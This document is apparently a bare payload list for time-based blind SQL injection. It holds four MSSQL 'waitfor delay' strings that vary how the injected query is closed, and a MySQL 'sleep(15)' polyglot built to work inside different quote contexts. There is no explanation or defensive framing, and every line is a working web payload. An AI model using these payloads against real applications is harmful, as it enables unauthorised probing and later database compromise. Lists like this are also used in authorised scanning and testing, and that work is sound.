1-1 waitfor delay '0:0:15' --

1-1)); waitfor delay '0:0:15' --

1-1); waitfor delay '0:0:15' --

1-1; waitfor delay '0:0:15' --

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/